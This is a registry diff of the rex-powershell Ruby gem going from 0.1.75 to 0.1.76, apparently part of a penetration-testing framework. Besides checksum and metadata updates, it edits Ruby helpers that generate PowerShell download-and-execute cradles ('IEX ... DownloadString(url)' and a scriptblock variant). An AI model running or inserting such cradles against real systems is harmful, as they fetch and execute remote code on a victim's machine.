rex-powershell 0.1.75 → 0.1.76
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- checksums.yaml.gz.sig +0 -0
- data.tar.gz.sig +0 -0
- data/lib/rex/powershell/psh_methods.rb +3 -3
- data/lib/rex/powershell/version.rb +1 -1
- metadata +3 -3
- metadata.gz.sig +0 -0
checksums.yaml
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
SHA1:
|
|
3
|
-
metadata.gz:
|
|
4
|
-
data.tar.gz:
|
|
3
|
+
metadata.gz: d80db88d42b0fd94ed98cd51c75f5fb60ac8acdf
|
|
4
|
+
data.tar.gz: 836db80b5f1720386c7cc55965680b54bc92fb8c
|
|
5
5
|
SHA512:
|
|
6
|
-
metadata.gz:
|
|
7
|
-
data.tar.gz:
|
|
6
|
+
metadata.gz: 394b71cc613c8ff3dee940f1261e4bed2aff4aefda0b26b94db2bb2efea5e0d743b9385f9e1a467e88f6533b681ef8f325caef462a9ba3382e34723fcdf02874
|
|
7
|
+
data.tar.gz: c17e1e404b766e86e37c974d914a328d3d5d5f98934add9e0f0dc9e8eb9faeb2fc3d94fee8ae017227c6de00a9e205144f783df7cd0d2bc4fb241a77b28f9160
|
checksums.yaml.gz.sig
CHANGED
|
Binary file
|
data.tar.gz.sig
CHANGED
|
Binary file
|
|
@@ -16,7 +16,7 @@ module Powershell
|
|
|
16
16
|
# @return [String] Powershell code to download a file
|
|
17
17
|
def self.download(src, target)
|
|
18
18
|
target ||= '$pwd\\' << src.split('/').last
|
|
19
|
-
%Q^(new-object System.Net.WebClient).DownloadFile(
|
|
19
|
+
%Q^(new-object System.Net.WebClient).DownloadFile('#{src}', '#{target}')^
|
|
20
20
|
end
|
|
21
21
|
|
|
22
22
|
#
|
|
@@ -82,9 +82,9 @@ module Powershell
|
|
|
82
82
|
# @return [String] PowerShell code to download and exec the url
|
|
83
83
|
def self.download_and_exec_string(url, iex = true)
|
|
84
84
|
if iex
|
|
85
|
-
%Q^
|
|
85
|
+
%Q^IEX ((new-object Net.WebClient).DownloadString('#{url}'))^
|
|
86
86
|
else
|
|
87
|
-
%Q^&([scriptblock]::create((new-object
|
|
87
|
+
%Q^&([scriptblock]::create((new-object Net.WebClient).DownloadString('#{url}')))^
|
|
88
88
|
end
|
|
89
89
|
end
|
|
90
90
|
|
metadata
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
|
2
2
|
name: rex-powershell
|
|
3
3
|
version: !ruby/object:Gem::Version
|
|
4
|
-
version: 0.1.
|
|
4
|
+
version: 0.1.76
|
|
5
5
|
platform: ruby
|
|
6
6
|
authors:
|
|
7
7
|
- David 'thelightcosine' Maloney
|
|
@@ -88,7 +88,7 @@ cert_chain:
|
|
|
88
88
|
G+Hmcg1v810agasPdoydE0RTVZgEOOMoQ07qu7JFXVWZ9ZQpHT7qJATWL/b2csFG
|
|
89
89
|
8mVuTXnyJOKRJA==
|
|
90
90
|
-----END CERTIFICATE-----
|
|
91
|
-
date: 2017-
|
|
91
|
+
date: 2017-09-23 00:00:00.000000000 Z
|
|
92
92
|
dependencies:
|
|
93
93
|
- !ruby/object:Gem::Dependency
|
|
94
94
|
name: bundler
|
|
@@ -212,7 +212,7 @@ required_rubygems_version: !ruby/object:Gem::Requirement
|
|
|
212
212
|
version: '0'
|
|
213
213
|
requirements: []
|
|
214
214
|
rubyforge_project:
|
|
215
|
-
rubygems_version: 2.6.
|
|
215
|
+
rubygems_version: 2.6.13
|
|
216
216
|
signing_key:
|
|
217
217
|
specification_version: 4
|
|
218
218
|
summary: Rex Powershell Utilities
|
metadata.gz.sig
CHANGED
|
Binary file
|